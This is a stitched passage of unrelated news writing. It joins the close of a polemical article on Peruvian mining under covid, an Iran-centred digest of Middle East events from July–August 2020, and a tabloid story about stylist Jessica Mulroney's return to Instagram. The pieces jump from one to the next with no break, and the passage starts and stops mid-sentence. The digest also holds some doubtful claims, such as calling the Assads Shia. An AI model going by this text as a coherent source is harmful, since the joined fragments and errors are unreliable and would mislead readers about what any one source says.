TV Peru. The Peruvian government, like its counterparts in other Latin American countries heavily tied to extractive industry exports, has sought to keep the mines operational. In March, while the giant domestic and international businesses that exploit Peru were obliged to reduce their workforces, they did not stop functioning. By July, as Vizcarra sought to reopen the economy despite the spike in cases, the Energy and Mines Ministry reported that mining was 90 percent operational. Mining is the dominant sector of the Peruvian economy. Hundreds of billions of dollars of direct investment have flowed into mining exploration and exploitation over the past 20 years, and another US$58 billion were to be directly invested for FYI 2020-2021 before the pandemic stalled exploration activities. The government has earmarked another 30 billion soles (US$8.4 billion) to reactivate the mining industry. Peru is among the worlds major producers of mineral commodities, which account for more than 60 percent of the countrys exports and 10 percent of its GDP. Copper and gold are the most important mineral exports by value, but there are also enormous reserves of silver, zinc, lead and tin. The mining sector, directly and indirectly, employs an estimated 1.5 million workers. China is the largest foreign investor in Perus mining projects, but US, Canadian, Australian and British imperialism assert immense influence through the consortiums that control multibillion-dollar mining operations and projects. The most significant global players, including Anglo-American, Rio Tinto, BHP Billiton, Glencore, Freeport-McMoRan, MMG, Newmont, Pan American Silver, Barrick, Gold Fields, Southern Copper, Doe Run Peru, Consorcio Minero Horizonte, and ZINSA, enjoy some of the worlds most lax corporate laws. Peruvian laws and regulations do not discriminate between national and foreign companies. There are no restrictions on repatriation of earnings, international transfers of capital, or currency exchange practices. The remittance of dividends, interests and royalties has no restrictions. Under a revised fiscal system, mining companies now pay royalties based on their operating profits rather than on sales. The fiscal changes introduced were largely supported by mining companies and according to industry analysts they have not adversely affected investment decisions or the degree of Perus mining sector competitiveness compared to other countries, reports a website dedicated to providing investment intelligence for the mining sector. Such is the dependency that, in the middle of this health and social catastrophe, Vizcarra has sought to facilitate further exploitation of the nations untapped riches by modifying regulations for mining activities, dispensing with even a modicum of ecological protection and allowing the consortiums to ride roughshod over the needs of the populations. Pro-business Gestion reported that an amendment to the Environmental Protection Regulations for Mining Exploration seeks to provide predictability in decision-making, reduce transaction costs for mining licensees and help increase investment in the sector. In other words, any exploration project will go ahead with little state interference. Driving this insatiable and criminal reopening of the economy is the 20.4 percent plunge in copper production in the first half of 2020 compared to the same period in 2019. Gold production fell 34.7 percent and zinc 23.7 percent. Lost profits need to be recouped, no matter the consequences. This is especially pressing today as the price of gold has reached a historic high and copper surpassed US$6,000 a tonne in June, up about 30 percent since March as both China and Europe begin reopening. Mining activity always poses environmental risks. However, it is possible to scientifically foresee dangers and determine the safest methods of extraction to prevent deadly impacts upon workers, communities and the environment. This does not enter the calculations of the transnational and domestic mining giants or the governments that serve their interests. Countless catastrophic disasters caused by BHP Billiton, Rio Tinto, Barrick, BP et al., due to the anarchy and irrationality of capitalist production for profit, are only a taste of what is to come in Peru and Latin America and the rest of world if the working class does not politically intervene with a socialist program to resolve the political, social and economic crises facing humanity. Since August 1 st there has been a spreading strike by oil and gas industry workers over months of unpaid salaries and other abuses industry employees have been suffering. The nationwide strike movement grew out of smaller strikes that had been going for over a month in a few locations. Disgruntled workers got in touch with each other and organized a nationwide strike effort. So far about 10,000 workers are involved in twelve provinces. The trigger for all this strike activity was the July 28 th heat stroke death of a worker at the Mahshahr petrochemical operation. Losing Lebanon The August 4th 1.1 kiloton explosion in the Hezbollah controlled port of Beirut has triggered another round of anti-Hezbollah and anti-Iran demonstrations in Lebanon. The national government has resigned. Hezbollah is denying any responsibility for the explosion even though Hezbollah has boasted of controlling the port area for years. Everyone blames government incompetence for allowing 2,700 tons of ammonium nitrate explosives to be stored in an abandoned cargo ship or locked up warehouse for seven years. The dangerous cargo was no secret and local media reported on the port officials warnings of the danger and years of demands that the explosives be removed from the port. A French-led relief coalition has pledged a quarter of a billion dollars in relief money. The Arab oil states have also stepped up. Iran and Syria, who have dominated Lebanese politics since the 1980s, are broke and offering some relief supplies, condolences and blaming it all on Israel and America. Iran accuses the French and Arab relief efforts as an attempt to destroy Hezbollah and Iranian influence in Lebanon. Unfortunately for Iran, most Lebanese appear to agree with that objective. Surviving In Syria Iran is becoming increasingly aggressive and desperate in Syria. Iran needs a win against Israel and all it is getting in Syria is an endless string of defeats. Because of the death to Israel obsession Iran is destroying its alliance with Turkey and Russia. Yet Iran is not the only one with an Israel obsession. Turkey would prefer that Iran go home. Many Iranians and Syrians openly agree with Russia and Turkey on this point. The Iranian government responds with Israeli airstrikes are killing people in Syria. Syrians note that most of the dead are Iranians or mercenaries (usually Arab) on the Iranian payroll. The Iranian government deliberately keeps as few Iranians as possible in Syrian bases likely to be hit. Iranians getting killed in Syria, even if they are IRGC (Iranian Revolutionary Guard Corps) Iranians, is very unpopular back in Iran. Syrians just dont like all these Syrians who are working as mercenaries for Iran or Turkey and getting killed by whoever. Similar situation with Russia and Turkey. Both nations keep as few of their own troops in Syria as possible. Russia and Turkey both have the majority of voters back home hostile to their soldiers getting killed in Syria. Russia uses a lot of Russian military contractors whose deaths are less of an issue in Russia. The Turks, as they have done for centuries, use Arab mercenaries to fight other Arabs. There are lots of Turkish troops in Syria providing support, and ensuring that Turkish mercs do what they are paid for. Iran wants a more Islamic government in Syria, which has long been a secular dictatorship led by the Shia Assad clan. The Assads always hated Islamic movements, be they Moslem Brotherhood or anything else with Islamic attached to it. Israel sees this Islamic angle as the key reason why so many Moslem states are so unstable and close to another revolution or civil war. There is no easy solution to this Islamic problem and more Moslem majority states are at least admitting the problem exists and trying to do something about it. That takes time and is prone to creating more violence. There are other sources of disagreement. Turkey, Iran and Syria are angry at Russia over the poor performance of Russian air defense systems. The Syrians frequently claim to have intercepted Israeli air-launched, often from inside Lebanon or Israel, missiles but the reality is that few of the Israeli missiles fail to hit their targets. Commercial satellite photos are available to determine damage and there is always a lot of it. Iran and Syria complain that the formidable Russian air defense system in Syria is not used to stop the Israelis. The Russians dont want a fight with the Israelis, if only because the Israelis might publicly demonstrate the ineffectiveness of Russian air defense systems. These systems are a major export item for Russia and the Israelis could reduce those export sales with demonstrations of how Israelis get past the Russian air defenses. Iran offered to provide Syria with Iranian made air defense systems. That was not appreciated because the Iranian systems are seen as old tech and more propaganda than performance. Iran also has problems at home it blames on Israel. In the last few months Iran has experienced over a dozen mysterious explosions, fires and expensive equipment failures at facilities related to Iranian nuclear and missile research and development. One July incident involved a particularly violent explosion at a facility related to the Iranian nuclear weapons program. Officially, Iran considers these explosions accidents, unofficially it is believed the Israelis, perhaps with the Americans, are carrying out more major cyber-attacks on Iranian nuclear weapons efforts. Iran believes this is the Israeli response to the growing number of unsuccessful Iranian hacker attacks on Israel since early 2019. Iran claims some of these hack attacks are succeeding but without any visible result. That means no success at all that Iran can claim in the media. Israel admits that the Iranians have been poking around in Israeli civilian networks but has little to show (in the mass media) for it. The situation becomes more ominous as Iranian officials escalate their threatening gestures against Israel. This puts Iran in an embarrassing situation because the reality is that Iran does not have the capability to launch an effective attack of any kind on Israel. They can carry out attacks that will likely fail and undermine Iranian credibility throughout the region as well as inside Iran. In addition to all the Iranian bases and facilities in Syria hit with airstrikes over the last few years, the Israeli military recently revealed that in 2017 Israel had detected and thwarted a major Iranian effort to hack into the Israeli domestic warning system. In the last year alone Israeli Cyber War defense efforts have thwarted 130 Iranian Internet based attacks on Israel. There have been bombs going off in some of Iranian facilities, indicating Israeli agents were able to gain access and plant explosives. This is particularly disturbing for Iranian leaders because it indicates that Israel is able to recruit agents inside Iran. Thats what happens when a lot of young Iranians are openly angry at their own government. Now the Iranian nuclear weapons program is literally blowing up and the Iranian government appears as hapless as ever. Even the most loyal fans of the Iranian religious dictatorship are dismayed because, if Allah is on the side of their leaders, how can the Israelis manage to carry out attack after attack. Iraq Irritations Iran still has enough loyal (to Iran) Iraqi militias to be a threat to the Iraqi government. Most Iraqi politicians and voters want less Iranian influence. Iran wants fewer foreign troops in Iraq. That is a point of contention because Iraqis realize the foreign troops offer some assurance that Western and Arab states would actively assist Iraq if Iran sought to take control via a civil war or invasion. Civil war is the more likely option, but only in an emergency, such as Iraq appearing to succeed in disbanding all the pro-Iran militias. Iran has ordered its associates in Iraq to try terror, as in kidnapping and assassination, to extract cooperation from Iraqi officials. Iran also ordered its militiamen to fire on protestors who were protesting corruption or Iran. In response to that the Iraqi prime minister officially announced that the security forces had orders to not shoot at protestors but to use force against anyone who is harming protestors. Iran was not mentioned but this announcement made it clear that anyone shooting at protestors was working for Iran. Same with the growing number of kidnappings and assassinations. Some of these are the work of ISIL (Islamic State in Iraq and the Levant) but a growing number are carried out by pro-Iran Iraqis. If the victim has been speaking out against Iran and the perpetrator wasnt an Islamic terrorist then Iran was probably responsible. The reduced support for Iran within the Iran-backed Iraqi PMF militias crippled the Iranian attack plan against American forces in Iraq. This effort began in October and has included over 40 attacks so far. Few of these efforts did any damage and caused even fewer casualties. General Soleimani was trying to fix that when the American got to him in January. Iran expected the death of Soleimani would trigger more anti-American anger among Iraqis. Didnt happen. Most Iraqis saw Soleimani as more of a threat than the Americans. Iran was next door and forever threatening. The Americans were far away and had left once before, in 2011, and had to be asked to return in 2014 to deal with the ISIL invasion. The Americans are again eager to leave, the Iranians are not. Most Iranians want less money spent on subverting Iraq and more spent on building the Iranian economy and raising the standard of living. That is not a priority with the IRGC (Iranian Revolutionary Guard Corps) and its Quds Force that specializes in destabilizing other countries, like Iraq, Syria and Lebanon. August 10, 2020: In eastern Syria (Deir Ezzor province) an airstrike, apparently Israeli, killed 14 Iranians and Iranian mercenaries, some of them from Iraq. President Rouhani has been unable to explain to parliament, the ruling Council of Guardians or the public why the situation in Iran is so bad and regularly getting worse. In desperation, and partly out of habit, Rouhani is increasingly relying on conspiracy theories, as in unnamed enemies of Iran. That used to mean just America and Israel but invoking those two doesnt work anymore. Details of who the enemies are is ignored and the unidentified them are accused of causing all the problems. This does not work, as all those demonstrators throughout the country are calling the government and its Islamic terrorist fixation a failure and a burden Iran cannot endure. The worst leadership failure is t he Council of Guardians. This is the small group of self-selected senior clerics who have the final authority in Iran. Each of the twelve guardians is an elderly Shia cleric who appears, on the surface, as a wise and caring holy man. The reality is that the Guardians preside over a corrupt and incompetent bureaucracy. That is the cause of growing hatred of the religious government and the failure to effectively deal with the outbreak of covid19 earlier in the year. The failure cost the Guardians several members because those most prone to die from covid19 are elderly. Most Iranians are not elderly and have developed a practical sense of what covid19 does and would prefer to put the economy first. So far, the covid19 coronavirus has officially killed over 18,000 Iranians, mainly the elderly or those already ill with something else. Unofficially the death toll is over 90,000 and some Iranian medical statistics experts believe it is over 300,000. The Guardians initially denied the virus would hurt Moslems and would only threaten non-Moslems. Then elderly clerics began to die in large numbers and soon Iran was suffering more covid19 deaths per capital than most anyone else. By early June Iran had already suffered over 8,000 confirmed covid19 deaths. That came out to and a hundred deaths per million population. The Iranian deaths per million are officially 221, which is more than double the global average of 95 and higher than nearly 90 percent of the words nations. While most other nations are now experiencing a reduction in covid19 deaths, the opposite is true for Iran, which is considered the epicenter of covid19 infections in the region and the source of infection for most of its neighbors. August 9, 2020: France hosted an international donor meeting to coordinate aid for Lebanon in the aftermath of the Beirut explosion. The Arab Gulf states were invited, along with the United States, China and Russia. Iran was not invited. The International Support Group for Lebanon (United Nations, France, Germany, Italy, Russia, China, U.S., Britain, European Union and the Arab League) will be represented. This conference raised over $250 million. An Iranian newspaper published an interview with epidemiologist (medical statistician) Mohammadreza Mahboubfar, a former member of the national coronavirus taskforce who said the actual covid19 death toll in Iran was up to 20 times more than the official government number. Within 24 hours the government shut down the newspaper for publishing misinformation and said that Mahboubfar was not a member of the coronavirus taskforce but would not say he had never been a member. Government health officials have said that their covid19 death count only includes those with covid19 who died in a hospital or anywhere else of what appeared to be covid19. Only a small number of Iranians have been tested for the virus and then rarely more than once. The government has come under growing criticism for mishandling the covid19 epidemic. Early on the senior clergy insisted covid19 would not harm devout Moslems and would devastate infidels (non-Moslems). That policy quickly fell apart as hundreds of senior clergy came down with covid19 and died. Recently a senior government official admitted that nearly a quarter of all Iranians had been exposed to covid19. Mishandling of the covid19 crisis became a major cause of the continued (since 2018) anti-government protests. August 8, 2020: Iran refuses to pay for the Ukrainian 737 they shot down in January because the aircraft was insured by a European insurance company, not an Iranian one. It was unclear if Iran was also refusing to deal with lawsuits from families of those who died in the 737. Back o n January 12th Iran admitted that their air defense forces, controlled by the IRGC, had shot down the Ukrainian 737 airliner on January 8th. At first Iran insisted it was an accident but soon became uncooperative about the accident investigation. They did let in Ukrainian investigators but refused to release the black box to anyone. The Ukrainian investigators quickly realized the 737 had been shot down by a missile, which very obviously struck right beneath the cockpit. This killed the pilots and explained why there was no distress call from the aircraft. The Ukrainians also found fragments of the missile but did not tell the Iranians, which at the point might gotten them expelled from the country. Meanwhile the Americans had satellite video showing the airliner exploding after the missile hit, as well as evidence of two air defense missiles being launched nearby at the same time. The U.S. quietly passed that video on to Canada, Ukraine and several other countries and used the informal diplomatic link to Iran (via Switzerland) to let the Iranians know the video existed and was real. About the same time Ukraine let Iran know that its accident investigators had transmitted back to Ukraine photos of the wreckage proving that the 737 was shot down by a Russian Tor missile, which Iran was known to use. Given all the proof that was available outside of Iran, the Iranians announced that the airliner was indeed shot down by Iranian air defense missiles. At that point confessing to what actually happened became the best move, but the Iranians also blamed the Americans for defending themselves against Iranian terrorism and killing their senior terrorism commander Soleimani. August 7, 2020: In Lebanon there were nationwide demonstrations against the government, Iran and Hezbollah for the recent Beirut explosion and the years of corrupt and incompetent government. Iran and Hezbollah were blamed for the inability of the government to function and that was largely true. Hezbollah was never strong enough to gain control of the government but it was strong enough to paralyze the national government and exercise a veto over any government decision. Iranian support made Hezbollah strong enough to withstand pressure from the government and the majority of Lebanese to back off. In the last year Iran has been forced to cut financial support for Hezbollah by about half and that has caused morale problems within Hezbollah. August 6, 2020: In northwest Yemen a Saudi jet fighter shot down a Shia rebel UAV, apparently carrying explosives and headed for Saudi Arabia. The Iranian UAV was apparently programmed to fly offshore in an effort to avoid Saudi air defenses. These defenses have been upgraded over the last few months to include radars and other sensors that can detect low and slow flying UAVs. The Saudis have not revealed where they got these new UAV detection systems but it is known that Israel, the world leader in developing such systems, offered to help out, openly or otherwise. Otherwise Yemen is still a stalemate. August 4, 2020: In Lebanon, a massive explosion obliterated the port area of Beirut. Buildings were damaged and windows blown out more than five kilometers from the explosions. Over 150 died and nearly 6,000 were wounded, mostly by the flying glass. Israel immediately denied any involvement, followed by Hezbollah, which has been accused of storing rockets and other Iranian munitions in the port area. The cause of the huge explosion, which created a mushroom cloud from water and dust, was apparently caused by large quantities of explosive materials stored in the port area. The cause was a fire in a warehouse full of fireworks that spread to an adjacent warehouse holding 2,700 tons of ammonium nitrate formulated for use as explosives in mining operations. Under the right conditions such a quantity of ammonium nitrate could explode with the force of a 1.2 kiloton nuclear explosion. There is no radiation but the blast effect was enormous. There was a similar blast in Texas during World War II when a shipload of the same quantity of nitrates caught fire and exploded. The Beirut nitrates were taken off a Russian cargo ship in 2014 and placed in a port warehouse. The Russian cargo ship was on its way to Africa when it developed mechanical problems can entered the port during 2013 to make repairs. While there the shipping company that owned the ship went bankrupt and abandoned the ship, crew and cargo. The Lebanese government could never decide what to do with the dangerous cargo and welded shut the doors of the warehouse to prevent theft. Further east, on the Syrian border Israeli warplanes, UAVs and armed helicopters attacked Syrian Army positions being used to observe Israeli troops in the Golan Heights. These airstrikes were largely in retaliation for Syrian or Iranian efforts on the 2nd to get men across the border to plant bomb. Israeli intel later reported that this attack had been ordered by Iran. Much further east, near the Iraq border an Israeli airstrike hit several Iranian targets next to the Al Bukamal crossing into Iraq. Fifteen Iranian mercenaries were killed. Since late April Israel has carried out twenty or more airstrikes in Syria. Nearly half the attacks were in Deir Ezzor province, where the Al Bukamal crossing is, as well as other Israeli targets further away from the Iraq border. The rest of the airstrikes were all over southern Syria, wherever Iranian forces were operating. In Iran, a fire in an industrial zone outside the capital consumed three warehouses containing recently manufactured goods. This was news because at first it was feared it was another attack on Iranian nuclear and missile programs. August 3, 2020: During July Iranian oil exports fell to 101,000 BPD (barrels per day). Because of that overall production fell to 1.9 million BPD, mostly for internal use. Without sanctions Iran ships 2.5 million BPD and produces up to 3.7 million BPD. For the first seven months of 2020 exports have averaged 223,000 BPD. Iran has had to produce oil it cannot sell or use to avoid shutting down many oil fields. That has led to Iran storing over 120 million barrels ashore and on tankers offshore. There is no more room to store unsold oil and Iran has to start shutting down oil production facilities, which is expensive to do and even more expensive to restart. Worse, it puts a lot of Iranians out of work. There have been conflicting expert estimates about how much oil Iran is getting past the sanctions. Most estimates put the January exports at about half a million BPD while the high-end estimates are a million BPD. The reality turned out to be on the low side. Since late 2019 the decline in Iranian oil sales has been spectacular. Oil shipments were, in early 2018, 2.4 million BPD but that fell to 1.5 million BPD in November 2019 and a million BPD or less in early 2019. This decline is not disputed. What is less clear is how successful Iranian smuggling efforts have been. In any event the current situation is worse than it was before the sanctions were lifted in 2015. That is because the Americans have adapted to past oil embargo scams and Iran and its outlaw customers have not yet managed to adapt. The lifting of sanctions in early 2016 has been good to Iran. In 2016 oil exports increased to two million BPD, a level not seen since 2012. Overall oil production increased to 3.8 million BPD. Exports in general quickly doubled over 2015 levels. The government made plans to quickly achieve annual GDP growth of eight percent. That was all cancelled once the U.S. announced (in May 2017) the revival of sanctions. At that point oil production was 4.5 million BPD but it rapidly declined because regular oil customers reduced or cancelled orders. Most Iranian oil was exported and now that export income is rapidly disappearing. Even China and India, two major customers who said they would defy the sanctions, have cut orders because sanctions increase shipping costs and also increase the risk of Iran going to war. Sanctions mean the cost of insurance rises and fewer shipping companies are willing to provide tankers that move sanctioned oil. The latest problem is the January coronavirus outbreak in China the disrupted economic activity in many parts of China. The reduced the need for oil and China already has several large tankers stuck off their coast waiting for permission to unload. Until that is done, the pol producer does not get paid. Something the religious dictatorship dont like to dwell on is that before they took over after the 1979 revolution oil production was over 6 million BPD and closing in on seven million. The clerics have mismanaged the economy for over thirty years now and that is one reason they can no longer blame foreigners for all the problems. August 2, 2020: China and Russia, Irans major trading partners, revealed that their banks can no longer do business with Iran. This makes it much more difficult to export anything to Iran as it now much be done on a barter basis or via illegal, and risky, banking channels. This revelation was no surprise because Iran had finally been returned to the FATF (Financial Action Task Force) black list. Iran had been moved to less restrictive Grey List in 2016 because of the 2015 sanctions treaty and assurances that Iran would provide proof that it was no longer supporting terrorism and other misbehavior. The only other nations on the blacklist is North Korea and, recently, Pakistan. Since the February return to the blacklist more and more foreign banks cut ties with Iran to comply with the FATF action. Banks that do not comply risk expulsion from the world network of banks and losing access to that network. Iran could have avoided the blacklist but chose not to. In 2018 the FATF agreed to give Iran more time to prove that it was no longer engaged in illegal financial activities that aid Islamic terrorism. Iran failed to comply. August 1, 2020: In southern Syria, near the Israeli Golan Heights a Russia-backed Syrian militia has been taking control of the Syrian side of the border. Called the Huran Army, the militia contains many former rebels who are hostile to Iranian influence in Syria but willing to cooperate with the Assads. July 29, 2020: In eastern Syria (Deir Ezzor province) Iran backed Iraqi Katab Hezbollah have been seen operating 20 kilometers from the Iraq border. The Iraqi government forbids Iraqi militias from operating in Syria without government permission. Iran is increasingly flaunting this rule. In the southwest, in the Strait of Hormuz near the major Iranian naval base of Bandar Abbas, the recently rebuilt two-thirds replica of an American Nimitz class aircraft carrier was sunk during a two-day live fire training exercise. An actual Nimitz class carrier is over 300 meters long. The smaller barge-like replica was built in 2013-15 and badly damaged, but not sunk during 2015 exercises. The target barge was built using the materials technology used to build the many Iranian off-shore oil platforms. In short there was a shell with a metal lattice underneath. Parts of the outer shell could burn but basically the target barge was built to survive a lot of hit from missiles and bombs, remain afloat and be towed back to port. In early 2020 the Nimitz barge was repaired for another such exercise. This time it sank and it is unclear if that was intentional. The wreck went down in shallow (14 meters/45 feet) of water and is visible during low tide. Currents and tides are moving the wreck towards the Bandar Abbas harbor entrance. The Strait of Hormuz is the entrance to the Persian Gulf and only about 40 kilometers wide at its narrowest point. The target barge wreck has to be tracked and ships transiting the strait have to be constantly informed about wreck location so ships can stay at least a kilometer away from it. Iran published high-definition satellite photos the American base in Qatar. These photos were taken by the Iranian Nour-1 satellite, which was launched in April. Commercial satellite photos of the American base have been available for years but with Nour Iran can get such photos anytime they want. Nour-1 is small (6U cubesat type) and similar to some of the early model Israeli Ofek photo satellites. July 28, 2020: Since May Israel has carried out at least ten airstrikes against Iranian targets in Syria. In addition to large quantities of weapons and munitions destroyed, at least sixty Iranian or local mercenary personnel have died. Iran is building a new mercenary force by hiring Syrians rather than bringing in Shia Afghans or Shia from other nations. The Afghans were good fighters but there was a limited supply of Afghan Shia willing to serve as Iranian mercs in faraway Syria. A growing number would not renew their contracts and returned to Afghanistan or Iran, where mercenary service also earned a residency permit. Iran is short of cash and the local mercs are cheaper, especially given the bad shape the economy is in and the dire poverty many Syrians live with. There are over 10,000 of these Syrian mercs and most are based on or near the Israeli or Jordanian borders. Many Syrians see the Iranians and their Syrian mercs as another foreign occupation force. Syrians are tired of war while the Iranians want more of it, against Israel. That is not popular because attacking Israel generally fails but always brings very effective counterattacks. Moreover a lot of Syrians living along the Israel border befitted from the medical aid Israel provided for badly injured Syrians. S ince 2011 Israel has provided medical treatment to several thousand badly injured Syrian civilians and rebels. This was done at a few border crossings where a field hospital was set up nearby and Syrians were told they could bring badly wounded kin or people they would vouch for to the crossing where Israelis doctors would examine them at the border, admit those who did need care and first try to treat the patient at the field hospital. If that was not possible the patient was sent to a hospital in Israel where specialists could provide the needed care. Family were notified of the progress and when to be at the border to pick up their mended friend or family member. Via this program Israel established contacts on the Syrian side as well as receiving a steady supply of what the chatter was on the Syrian side of the border. Israel has many Arab speaking medical personnel and has no problem treating Arab speaking patients. This medical program earned Israel a lot of good will on the Syrian side of the border. The care was free and there were no strings attached other than no Islamic terrorists were welcome, and these would be arrested if identified as such. There were a few such cases and that was not seen by the Syrians as a bad thing. Same attitude towards the Iranians and their mercs, who are seen as a danger to nearby civilians and an enemy of Syria. July 27, 2020: In southeast Lebanon the Israeli border security system detected a group of armed men crossing the border near the disputed Shebaa Farms (occupied by Israel but claimed by both Lebanon and Syria). Israeli rapid reaction forces drove up and spotted the intruders and opened fire. The men ran back into Lebanon. Hezbollah denied the incident occurred and said they had nothing to do with it. The Israelis have video from their border surveillance system, which they are willing to release, and other electronic evidence, which they are not willing to release. Israel regularly taps into Hezbollah communications, despite frequent Iranian efforts to upgrade the security of Hezbollah comms. It was revealed that a Hezbollah attack was expected, somewhere on the Lebanon border, to coincide with the Moslem religious celebration of Eid al Adha. In southern Afghanistan an Afghan Air Force UH-60 medevac helicopter was shot down by the Taliban using the Iranian clone of the American TOW ATGM (anti-tank guided missiles). The Iranian TOWs have been used frequently in Syria. July 26, 2020: Iran and Turkey are cooperating in an effort to get Kurdish separatists out of northern Iraq. The current Turkish campaign began in June 16 and is still active, more so than any previous campaign against PKK activity in northern Iraq. Turkey has established about 30 temporary bases on the Iraqi side of the border indicating that Turkish ground forces, which have already advanced as far as 40 kilometers inside Iraq, will be in Iraq for a while. The Turks consider the current operation a continuation of a smaller cross border offensive that began at the end of May. Turkish warplanes, armed UAVs and artillery hit over 700 targets in a combat zone extending from border areas of Dohuk province (on the Syrian border) to Hakurk, the mountainous region where the borders of Iraq, Turkey and Iran meet. There were also airstrikes against a refugee camp outside Erbil, the capital of the autonomous Kurdish north. Iran cooperated in this operation by attacking PKK and local Iranian Kurd separatists found inside Iran opposite the Iraqi Hakurk region. The Iraqi Kurds asked the PKK to get out of Iraq. For a long time, the Iraqi Kurds had tolerated the PKK presence with the understanding that the PKK would not be violent inside Iraq and would stay away from Iraqi Arab and Kurd population centers. Over the last decade the PKK has increasingly violated that understanding and the Turkish attacks have become more frequent and intense. Iraqi Kurds will not go to war with the Turkish Kurds but now the PKK accuses Iraqi Kurds of supplying the Turks with information about where PKK camps are. There is no proof of that but more damage is done to the PKK-Iraqi Kurd relationship. July 22, 2020: In southern Iraq a pro-Iran militia took credit for an attack on a convoy transporting equipment from Kuwait to an American base near Baghdad. Two roadside bombs were used but the explosions only damaged some trucks. Israeli police revealed that an investigation that began in April had led to the arrest of ten Palestinians who were recruited by a Iran-backed Syrian militia and Hezbollah in Lebanon. There were actually two separate groups operating in the West Bank and their main goal was to kidnap an Israeli soldier and hold him for ransom. That would consist of freeing a lot of imprisoned Palestinian terrorists. July 20, 2020: Turkey banned all commercial flights between Iran and Afghanistan until the covid19 danger recedes. July 16, 2020: American media revealed that the U.S. president had secretly given the CIA permission to take more aggressive action against hacker groups that have been responsible for attacks on the United States. This seems to explain a number of unexplained incidents were hacker groups had identities of members revealed or their operations sabotaged or disrupted. The CIA, NSA and Department of Defense had long been asking for this authority. Granting it to the CIA allowed the CIA to bring in NSA and Department of Defense experts for joint operations. Russian hackers have been responsible for a lot of the successful hacking operations inside the United States. Chinese, North Korean and Iranian hackers have also been active and they are also on the CIA target list. Off the north coast of Somalia warships from Japan, South Korea and Spain took part in two days of naval exercises. The ships are part of the anti-piracy patrol. Pirate activity is way down and some nations have their anti-piracy ships spend of their time watching the coast of nearby Yemen (where some pirates have been operating) and the entrance to the Red Sea and the Persian Gulf, where there has been a lot of arms smuggling (to Shia rebels in northwest Yemen) by Iran. Jessica Mulroney has returned to Instagram after a two-month break in the wake of a bitter race row to mark her twin sons' tenth birthday - while also shutting down rumors about the end of her friendship with Meghan Markle. The 40-year-old stylist shared a sweet video on her account on Tuesday - exactly two months to the day since her last post - in which her husband Ben, 44, is seen delivering a birthday cake to their sons Brian and John, who then blow out the candles together. But while the clip focused on the happy family moment, Jessica's accompanying caption touched on the struggles she has faced since black influencer Sasha Exeter accused her of 'threatening her livelihood' after 'taking offense' at a Black Lives Matter video posted by the online star. Celebration: Jessica Mulroney returned to Instagram on Tuesday after a two-month break in the wake of a bitter race row to wish her twin sons a happy 10th birthday Speaking out: In the caption of the video, which showed her sons Brian and John blowing out the candles on their cake, the 40-year-old admitted she had been 'in the worst state' Proud: In the comments of the video, Jessica, fired back at a troll who said she had been 'dumped' by pal Meghan Markle in the wake of the race row, insisting it was 'fake news' 'Happy 10th to my twin babies,' Jessica wrote alongside the video, which also features her daughter Isabel. 'My incredible family have had to witness mom in the worst state. These two boys have not left my side and gave me the will to live and work hard when everything fell apart. They deserve the best birthday.' She concluded on a positive note, writing: 'Only up from here.' But Jessica's social media return did not stop there - quite the opposite in fact. Upset: The stylist took a break from social media after influencer Sasha Exeter claimed that Jessica at 'threatened her livelihood' after they became embroiled in an argument over race Minutes after posting the clip, the stylist began responding to users' less than positive comments about her bitter fallout with infleuncer Sasha - and her rumored rift with the Duchess of Sussex, who was reported to have cut ties with Jessica in the wake of the racism controversy. Responding to one commenter who asked whether she was feeling 'down' after being 'dumped' by Meghan, Jessica branded the rumors 'fake news' and begged the trolls to 'just stop'. The video post comes two months after Jessica revealed she would be taking a break from social media in order to 'reflect, learn and listen', while also issuing a public apology to Sasha, who said that the stylist left her 'shaking with fear' after the pair had a private argument over racism. In June, Sasha posted an emotional video on her Instagram in which she claimed that Jessica had 'taken offence to a very generic call to action' posted online, and that the two women had subsequently argued about the importance of 'speaking up'. Sasha said she felt Jessica 'threatened' her during the argument, claiming the mother-of-three had written to her: 'I have also spoken to companies and people about the way you have treated me unfairly. 'You think your voice matters. Well it only matters if you express it with kindness and without shaming people who are simply trying to learn. Good luck.' Jessica commented on the video to apologize for her behavior, writing that she was 'unequivocally sorry'. Fallout: DailyMail.com exclusively revealed that the Duchess of Sussex, 39, had been left 'mortified' by Jessica's behavior and felt she could 'no longer be associated with her' Family first: Jessica's husband Ben, 44, seemed to be in good spirits in the video while singing Happy Birthday, despite stepping down from his TV host job in the wake of his wife's race row Emotional: Jessica, whose daughter Isabel also appeared in the video (right), praised her sons for 'giving her the will to live and work hard when everything fell apart' 'As I told you privately, I have lived a very public and personal experience with my closest friend where race was front and centre. It was deeply educational,' she wrote. However the comment, and the official apology that Jessica subsequently posted on her own account, did little to stem the furious backlash against the stylist, who faced a barrage of angry comments - as well as multiple job losses as a result of the controversy. MULRONEY'S REMARKS TO SASHA EXETER IN ORDER Privately, after their row over Mulroney not using her platform enough to promote Black Lives Matter:'I have also spoken to companies and people about the way you have treated me unfairly. 'You think your voice matters. Well it only matters if you express it with kindness and without shaming people who are simply trying to learn. Good luck.' Public: 'You are right when you say "this s**t needs to stop." As leaders, we need to join hands and call out wrongs. I know we have different experience. And that is something that, even in the course of a heated argument, I need to acknowledge and understand. I am unequivocally sorry for not doing that with you, and for any hurt I caused. As I told you privately, I have lived a very public and personal experience with my closest friend where race was front and centre. It was deeply educational. I learned a lot from that. I promise to continue to learn and listen on how I can use my privilege to elevate and support black voices. Private: 'Liable [sic] suit. Good luck.' Advertisement Perhaps most damaging and upsetting for Jessica however was the reported loss of her friendship with the Duchess of Sussex, who, DailyMail.com exclusively reported, was left 'mortified' by the scandal and told her close friends that she felt she could 'no longer be associated' with the stylist. 'Meghan is absolutely mortified that she's been dragged into this complete mess. She said Jessica is in no way a racist, but the way she handled the situation [with Sasha] was tone-deaf and heartbreaking,' a close friend of Meghan's said. 'Meghan said friends reflect friends and because of what's at stake she can no longer be associated with Jessica, at least not in public. She has to do what she has to do in order to preserve her dignity and her own reputation,' the source added, admitting that they 'wouldn't be surprised' if the controversy was the 'beginning of the end of their friendship'. It appears as though things may be on the mend for the two women however - at least if Jessica's 'fake news' comment is anything to go by. But her friendship with Meghan was not the only aspect of her life that suffered as a result of the controversy. Having quickly shot to fame thanks to her close friendship with the Duchess of Sussex, Jessica's fall from grace was even swifter. DailyMail.com exclusively revealed that ABC had quickly severed ties with her, confirming that Jessica would not be returning to her occasional role as a fashion contributor on Good Morning America. Canadian TV network CTV also distanced themselves from the stylist, revealing that it was pulling all episodes of her wedding-focused reality show I Do Redo from its platforms ahead of its expected US premiere on Netflix. She then stepped down from the board of directors of The Shoebox Project, a charity that she founded with her sisters-in-law, Caroline, Vanessa, and Katy Mulroney. In a statement shared on Instagram, 